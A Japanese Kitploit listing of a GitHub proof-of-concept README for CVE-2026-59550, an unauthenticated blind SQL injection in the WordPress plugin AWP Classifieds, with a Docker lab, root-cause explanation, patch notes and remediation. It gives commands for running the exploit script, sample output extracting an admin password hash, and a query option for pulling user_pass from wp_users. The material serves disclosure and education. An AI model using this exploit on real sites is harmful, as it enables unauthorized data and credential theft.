Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-59550 — AWP Classifieds <= 4.4.7 における認証不要の時間ベースブラインド SQL インジェクション PoC。Docker ラボ、詳細な解説、パッチ diff を収録。 | Kitploit
ツール/GitHubGitHub/flx-0x00/cve-2026-59550
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト論文と研究学習と教育ラボと実践
GitHubflx-0x00/cve-2026-59550

CVE-2026-59550

AWP Classifieds <= 4.4.7 における認証不要の時間ベースブラインド SQL インジェクション PoC。Docker ラボ、詳細な解説、パッチ diff を収録。

リポジトリを見る
1820日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-59550 - AWP Classifieds ≤ 4.4.7 認証不要のSQLインジェクション

WordPressプラグインAWP Classifieds(another-wordpress-classifieds-plugin)における認証不要の時間ベースブラインドSQLインジェクションであり、プラグインの匿名(ゲスト)AJAX広告投稿フローを通じて到達可能です。

CVECVE-2026-59550
プラグインAWP Classifieds (another-wordpress-classifieds-plugin)
脆弱なバージョン<= 4.4.7
修正済みバージョン4.4.8
分類SQLインジェクション (OWASP A3: インジェクション)
権限認証不要
CVSS v3.19.3 (High)
シンクAWPCP_BasicRegionsAPI::save() - includes/regions-api.php
報告者Thaer Assfour (Patchstack経由)
アドバイザリhttps://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability

TL;DR

AWPCP_BasicRegionsAPI::save()は、ユーザーが指定したregions配列のキーをそのまま$wpdb->insert() / $wpdb->update()に渡します。WordPressはカラム名をバッククォートで囲みますが、エスケープは行いません。そのため、バッククォートを含むキーは識別子から脱出し、任意のSQLを注入できます。regions配列は$_POSTからそのまま取得され、ゲスト広告投稿が有効な場合(requireuserregistration = 0、デフォルト設定)、この一連の処理は認証なしで到達可能です。

4.4.8での修正では、明示的なカラム許可リスト(filter_region_columns())と、送信されたリージョン用のフィールド許可リスト(prepare_submitted_region())が追加されています。

リポジトリ構成

.
├── README.md                     # このファイル
├── docs/
│   └── WRITEUP.md                # 完全な技術的解説
├── exploit/
│   ├── exploit.py                # 認証不要ブラインドSQLi PoC
│   └── requirements.txt
├── lab/
│   ├── docker-compose.yml        # WordPress 6.8 + MariaDB 11、脆弱版 + 修正版
│   ├── setup.sh                  # プラグインの配置、起動、両サイトのプロビジョニング
│   └── teardown.sh               # コンテナ + ボリューム + 配置ファイルの削除
└── patches/
    ├── 4.4.8-regions-api.diff    # セキュリティ修正 (単一ファイル)
    └── 4.4.7-to-4.4.8-full.diff  # 完全なリリース差分

クイックスタート

要件: Docker + Docker Compose、requestsとunzipを含むPython 3。

# 1. 使い捨てラボのビルドとプロビジョニング (Dockerのみ)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
           /path/to/another-wordpress-classifieds-plugin.4.4.8.zip
#   -> 脆弱版 (4.4.7): http://localhost:8080/?page_id=8
#   -> 修正版 (4.4.8): http://localhost:8090/?page_id=8

# 2. PoCの実行
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080            # VULNERABLE となるはず
python3 exploit.py http://localhost:8090            # PATCHED となるはず

# 3. すべてを破棄
cd ../lab && ./teardown.sh

setup.shは2つのプラグインアーカイブを引数またはAWP447_ZIP / AWP448_ZIP環境変数経由で受け取ります。フォールバックとして~/Downloads/<slug>.4.4.7.zipと~/Downloads/<slug>.4.4.8.zipが使用されます。アーカイブはこのリポジトリにコミットされていません。生のWordPressコアとプラグインのコピーはlab/html-*/内にのみ存在し、git-ignoreされています。

PoCの動作

[*] target          : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
  [+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version  : 11.8.9-MariaDB
[+] first WP user : admin

明示的なクエリで任意のデータを抽出できます:

python3 exploit.py http://localhost:8080 \
  --query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
  --maxlen 60

このPoCは時間ベースのオラクルであるため、SQL出力の反映を必要とせず、完全にブラインドなターゲットでも動作します。

一行の根本原因

// includes/regions-api.php (4.4.7)
public function save( $region ) {
    ...
    $result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}

完全なテイント解析、リクエストトレース、生成SQLの証明、修正に関する議論についてはdocs/WRITEUP.mdを参照してください。

修復

  • AWP Classifiedsを4.4.8以降に更新してください。
  • 暫定措置: requireuserregistration = 1を強制し、かつ/またはawpcp_save_listing_information / awpcp_create_empty_listing AJAXアクションをブロックしてください。

法的注意

この資料は、防御的セキュリティ研究、教育、および許可されたテストのみを目的として提供されています。所有していないシステム、または明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。ラボは完全にコンテナ化されており、使い捨てです。

ツールをダウンロード